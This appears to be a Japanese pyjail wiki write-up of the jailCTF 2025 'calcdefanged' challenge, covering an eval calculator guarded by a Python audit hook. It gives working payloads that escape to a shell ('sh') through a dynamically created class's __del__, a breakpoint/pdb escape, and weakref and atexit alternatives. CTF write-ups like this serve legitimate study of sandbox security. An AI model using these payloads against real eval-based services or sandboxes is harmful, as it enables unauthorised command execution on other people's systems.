pyjail wiki

jailCTF 2025 - calcdefanged

Challenge

audit hook が設定された電卓 pyjail。

import sys
def audit_hook(event, args):
# 特定のイベントをブロック
blocked = ['exec', 'compile', 'import', 'open']
if any(b in event for b in blocked):
raise RuntimeError("Blocked!")
sys.addaudithook(audit_hook)
expr = input()
result = eval(expr)
print(result)

Solution

__del__ メソッドの悪用

オブジェクトがガベージコレクションされる際、__del__ が呼ばれる。これは audit hook の外で発生する:

type('', (), {'__del__': lambda *v: breakpoint()})()

breakpoint() からの脱出

__del__ 内で breakpoint() を呼び出すと pdb が起動:

# pdb 内から
import os; os.system('sh')

完全なペイロード

type('', (), {'__del__': lambda self: __import__('os').system('sh')})()

Technical Details

__del__ のタイミング

class Evil:
def __del__(self):
print("Deleted!")
e = Evil()
del e # ここで __del__ が呼ばれる
# または参照がなくなった時に GC が呼ぶ

audit hook と __del__

__del__ はインタプリタのファイナライザーから呼ばれるため、一部の audit イベントがトリガーされない場合がある。

type() での動的クラス生成

# type(name, bases, dict) で新しいクラスを作成
Evil = type(
'Evil', # クラス名
(), # 基底クラス
{ # 属性辞書
'__del__': lambda self: exec('import os; os.system("sh")')
}
)

Alternative Solutions

別解1: weakref コールバック

import weakref
def callback(ref):
__import__('os').system('sh')
obj = object()
ref = weakref.ref(obj, callback)
del obj # callback が呼ばれる

別解2: atexit

import atexit
atexit.register(lambda: __import__('os').system('sh'))
exit()

Flag

jail{...}

References

  • jailCTF 2025 Official
  • Python Data Model - __del__